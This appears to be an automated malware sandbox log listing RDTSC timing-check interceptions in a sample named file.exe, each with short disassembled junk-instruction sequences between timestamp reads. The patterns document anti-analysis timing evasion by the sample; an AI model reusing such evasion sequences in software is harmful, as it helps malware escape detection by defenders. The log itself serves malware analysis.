Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3BD6C second address: E3BD70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3BD70 second address: E3BD74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDDCB9 second address: DDDCBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDDCBD second address: DDDCD3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7AB0FF7756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F7AB0FF7758h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3BEF1 second address: E3BEF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3C0B1 second address: E3C0B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3C0B6 second address: E3C0C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F7AB12EBC8Ah 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E4495C second address: E44980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7AB0FF7764h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E42B71 second address: E42B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E42B7C second address: E42B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB0FF7760h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E42B90 second address: E42B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E42F95 second address: E42F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E42F99 second address: E42F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E42F9D second address: E42FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E4326D second address: E4327A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jc 00007F7AB12EBC86h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E4385E second address: E4387B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7762h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E4387B second address: E43881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E440A8 second address: E440B2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E440B2 second address: E440B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E440B6 second address: E440BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E4438F second address: E44395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E44395 second address: E44399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E44399 second address: E443DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB12EBC93h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop eax 0x00000015 push eax 0x00000016 ja 00007F7AB12EBC86h 0x0000001c jnp 00007F7AB12EBC86h 0x00000022 pop eax 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F7AB12EBC8Ch 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E443DB second address: E443E1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E48EEA second address: E48F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jnl 00007F7AB12EBC8Ch 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F7AB12EBC9Ah 0x00000016 jmp 00007F7AB12EBC94h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E48F1A second address: E48F2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E4907C second address: E49081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E49081 second address: E490B6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7AB0FF7766h 0x00000008 jmp 00007F7AB0FF7760h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7AB0FF7768h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E490B6 second address: E490CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC8Dh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E49538 second address: E49586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB0FF7760h 0x00000009 popad 0x0000000a jmp 00007F7AB0FF7768h 0x0000000f pushad 0x00000010 jmp 00007F7AB0FF775Eh 0x00000015 jmp 00007F7AB0FF775Dh 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E49586 second address: E4958A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E4958A second address: E4958E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D95B2A second address: D95B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jp 00007F7AB12EBC86h 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007F7AB12EBC86h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E56588 second address: E565B1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F7AB0FF7769h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F7AB0FF7756h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E56C97 second address: E56C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E56C9B second address: E56CCD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F7AB0FF7756h 0x0000000d push edx 0x0000000e pop edx 0x0000000f jnc 00007F7AB0FF7756h 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 jl 00007F7AB0FF7756h 0x0000001f jmp 00007F7AB0FF775Fh 0x00000024 popad 0x00000025 push edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E56CCD second address: E56CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 jmp 00007F7AB12EBC8Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E56E2F second address: E56E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E56E35 second address: E56E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E56E3A second address: E56E52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB0FF7764h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E570D6 second address: E570DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E5823D second address: E5824A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E5824A second address: E5824E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E56107 second address: E5610B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E5610B second address: E56116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E5F833 second address: E5F84B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7AB0FF775Eh 0x00000008 je 00007F7AB0FF775Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6B1AC second address: E6B1B6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7AB12EBC86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6B1B6 second address: E6B1D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7766h 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F7AB0FF7756h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6B1D6 second address: E6B1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6B1DA second address: E6B1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6ADB1 second address: E6ADBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F7AB12EBC86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6ADBE second address: E6ADD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7AB0FF7764h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6ADD8 second address: E6ADDD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6AF1F second address: E6AF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6AF25 second address: E6AF2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6F610 second address: E6F616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6F616 second address: E6F61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6F61A second address: E6F62E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7AB0FF7756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jnl 00007F7AB0FF7756h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6F62E second address: E6F661 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC97h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F7AB12EBC86h 0x00000010 jnl 00007F7AB12EBC86h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push esi 0x0000001f pop esi 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E6F661 second address: E6F66A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E729DB second address: E729F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E729F5 second address: E729FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E7839D second address: E783A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jno 00007F7AB12EBC86h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E783A9 second address: E783AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E82690 second address: E826F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F7AB12EBC97h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F7AB12EBC8Fh 0x00000012 popad 0x00000013 jnc 00007F7AB12EBC97h 0x00000019 pushad 0x0000001a jmp 00007F7AB12EBC8Ah 0x0000001f push edi 0x00000020 pop edi 0x00000021 jmp 00007F7AB12EBC8Ah 0x00000026 popad 0x00000027 popad 0x00000028 push esi 0x00000029 jc 00007F7AB12EBCA2h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E870BA second address: E870C2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9DFCD second address: D9DFD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9DFD8 second address: D9DFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7AB0FF7756h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9DFE3 second address: D9DFE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8F6AC second address: E8F6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8E2F4 second address: E8E312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8E312 second address: E8E317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8E317 second address: E8E349 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7AB12EBC8Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F7AB12EBCACh 0x00000010 jmp 00007F7AB12EBC96h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8E349 second address: E8E34D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8E5DB second address: E8E5EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB12EBC8Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE0ED second address: DDE11C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7AB0FF7756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push ecx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop ecx 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 popad 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f jmp 00007F7AB0FF775Fh 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8E8A9 second address: E8E8AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E92DAB second address: E92DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7AB0FF7756h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F7AB0FF7763h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA302A second address: EA302E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA302E second address: EA303A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA303A second address: EA3044 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7AB12EBC86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA3044 second address: EA304D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA304D second address: EA306A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB12EBC8Ch 0x00000009 ja 00007F7AB12EBC86h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA306A second address: EA3099 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7767h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jnp 00007F7AB0FF7768h 0x00000010 pushad 0x00000011 jng 00007F7AB0FF7756h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA4965 second address: EA49A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC91h 0x00000007 ja 00007F7AB12EBC99h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7AB12EBC8Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA49A1 second address: EA49AB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7AB0FF7756h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA47F2 second address: EA47F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA47F8 second address: EA47FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECD344 second address: ECD38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jmp 00007F7AB12EBC91h 0x0000000c push eax 0x0000000d jo 00007F7AB12EBC86h 0x00000013 pop eax 0x00000014 popad 0x00000015 pushad 0x00000016 jbe 00007F7AB12EBC9Ah 0x0000001c jmp 00007F7AB12EBC94h 0x00000021 je 00007F7AB12EBC92h 0x00000027 jo 00007F7AB12EBC86h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECD38E second address: ECD3B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB0FF7769h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECC506 second address: ECC50A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECC62E second address: ECC632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECC632 second address: ECC640 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007F7AB12EBC86h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECC640 second address: ECC659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB0FF7763h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECC7BA second address: ECC7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECCC1A second address: ECCC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB0FF775Ah 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7AB0FF7769h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED12F5 second address: ED12FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
